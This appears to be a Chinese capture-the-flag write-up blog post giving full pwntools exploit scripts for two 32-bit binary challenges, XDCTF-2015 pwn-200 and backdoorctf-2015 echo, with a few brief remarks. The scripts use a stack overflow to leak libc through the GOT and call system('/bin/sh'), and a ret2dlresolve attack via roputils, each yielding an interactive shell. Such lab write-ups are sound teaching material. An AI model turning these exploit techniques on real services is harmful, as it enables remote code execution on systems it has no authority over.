XDCTF-2015 pwn-200 backdoorctf-2015 echo

XDCTF-2015 pwn-200

简单的泄露基址  这里就不多讲了

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.log_level="debug"
#io=remote("111.198.29.45",32529)
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc6_2.23_386.so")
start_addr=0x080483D0
if __name__=='__main__':
	io.recvuntil("Welcome to XDCTF2015~!\n")
	payload='a'*0x70+p32(elf.plt['write'])+p32(start_addr)+p32(1)+p32(elf.got['write'])+p32(4)
	#gdb.attach(io)
	io.sendline(payload)
	write_addr=u32(io.recv(4))
	print hex(write_addr)
	system_addr=write_addr-libc.sym["write"]+libc.sym['system']
	print hex(system_addr)
	io.recvuntil("Welcome to XDCTF2015~!\n")
	system_bin_addr=libc.search("/bin/sh\x00").next()+write_addr-libc.sym["write"]
	print hex(system_bin_addr)
	payload='a'*0x70+p32(system_addr)+p32(0)+p32(system_bin_addr)
	io.sendline(payload)
	io.interactive()
	io.close()

寻找到的 字符串 忘记加了 基址  差点debug半天

echo

这个题 按照以前别人的题解是不行的 一开始 我以为那个函数很简单  然后确实不行

然后 我知道了攻防世界 flag 没有 .txt啊

那就只能换个思路  伪造重定位表 直接搞 别人的库就行

from pwn import *
from roputils import *

context.log_level='debug'
fun_addr=0x0804854d
#io=process('./echo')
io=remote('111.198.29.45',34025)
offset=0x3e
rop=ROP('./echo')
bss_addr=rop.section('.bss')

pay=rop.fill(offset)
pay+=rop.call('gets',bss_addr)
pay+=rop.dl_resolve_call(bss_addr+20,bss_addr)

io.sendline(pay)
rop=ROP('./echo')
pay='/bin/sh\x00'
pay+=rop.fill(20,pay)
pay+=rop.dl_resolve_data(bss_addr+20,'system')


io.sendline(pay)
io.interactive()

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值